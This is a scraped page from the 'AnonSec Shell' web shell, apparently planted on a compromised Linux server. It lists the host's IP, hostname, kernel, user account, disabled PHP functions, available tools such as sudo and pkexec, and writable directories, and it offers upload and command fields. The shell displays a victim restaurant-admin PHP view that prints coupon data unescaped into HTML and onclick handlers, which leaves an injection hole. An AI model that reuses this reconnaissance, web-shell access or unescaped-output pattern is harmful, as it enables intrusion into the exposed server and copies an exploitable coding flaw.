AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.139
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_projetos/sopizzas/application/views/restaurantadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_projetos/sopizzas/application/views/restaurantadmin/coupon-list-ajax.php
<table class="table no-margin table-hover">
  <thead>
    <tr class="label-info labelinfo1">
      <th class="text-center">
        <?php echo $this->lang->line('SNo');?>
      </th>
      <th class="text-center">
         <?php echo $this->lang->line('CouponCode');?>
      </th>
      <th class="text-center">
        <?php echo $this->lang->line('OfferPercentage');?>
      </th>
      <th class="text-center"><?php echo $this->lang->line('OfferPrice');?></th>
      <th class="text-center"><?php echo $this->lang->line('OfferFrom');?></th>
      <th class="text-center"><?php echo $this->lang->line('OfferTo');?></th>
      <th class="text-center"><?php echo $this->lang->line('AddedDate');?></th>
      <th class="text-center"><?php echo $this->lang->line('Status');?></th>
      <th class="text-center"><?php echo $this->lang->line('Action');?></th>
    </tr>
  </thead>
  <tbody id="custom-table">
    <?php
      if (isset($CouponList) && is_array($CouponList) && count($CouponList) > 0) {
        foreach ($CouponList as $key => $value) {
    ?>
    <tr id="<?=$value['offer_id']?>_row">
      <?php
        if (isset($perPageCount) && $perPageCount != '') {
      ?>
      <td class="text-center paddingtop16"><?=$perPageCount+1?></td>
      <?php
          $perPageCount++;
        }
        else {
      ?>
      <td class="text-center paddingtop16"><?=$key+1?></td>
      <?php
        }
      ?>
      <td class="text-center pad_top_table1"><?=$value['coupon_code']?></td>
      <td class="text-center pad_top_table1"><?=$value['offer_percentage']?></td>
      <td class="text-center pad_top_table1"><?=$value['offer_price']?></td>
      <td class="text-center pad_top_table1"><?=date('M j, Y', strtotime($value['offer_valid_from']))?></td>
      <td class="text-center pad_top_table1"><?=date('M j, Y', strtotime($value['offer_valid_to']))?></td>
      <td class="text-center pad_top_table1"><?=date("M j, Y", strtotime($value['addeddate']));?></td>
      <td class="text-center paddingtop10">
        <div class="btn-group btn-group-circle">
          <button onclick="ChangeActiveInactive('rt_restaurant_offer','1','<?=$value['offer_id']?>', this);" type="button" class="newsolidbtn1 btn btn-outline green btn-sm <?=$value['status']=='1'?'active':''?>"><?php echo $this->lang->line('Active');?></button>
          <button onclick="ChangeActiveInactive('rt_restaurant_offer','0','<?=$value['offer_id']?>', this);" type="button" class="newsolidbtn1 btn btn-outline red btn-sm <?=$value['status']=='0'?'active':''?>"><?php echo $this->lang->line('Inactive');?></button>
        </div>
      </td>
      <td class="text-center paddingtop10">
          <span onclick="editCoupon('<?=$value['offer_id']?>', '<?=$value['coupon_code']?>', '<?=$value['offer_percentage']?>', '<?=$value['offer_price']?>', '<?=date('m/d/Y', strtotime($value['offer_valid_from']))?>', '<?=date('m/d/Y', strtotime($value['offer_valid_to']))?>')" class="newsolidbtn1 btn btn-outline green btn-sm opo addressEdit opened btn-circle"><i class="fa fa-pencil" aria-hidden="true"></i> <?php echo $this->lang->line('Edit');?></span>
          <span onclick="DeleteNow('rt_restaurant_offer','<?=$value['offer_id']?>');" class="newsolidbtn1 btn btn-outline red btn-sm opo btn-circle"><i class="fa fa-trash-o" aria-hidden="true"></i> <?php echo $this->lang->line('Delete');?></span>
      </td>
    </tr>
    <?php
        }
      }
      else {
    ?>
    <tr>
      <td class="text-center" colspan="9"><?php echo $this->lang->line('No_found');?></td>
    </tr>
    <?php
      }
    ?>
  </tbody>
</table>
<div>
 <?php echo $this->ajax_pagination->create_links(); ?>
</div>

Anon7 - 2022
AnonSec Team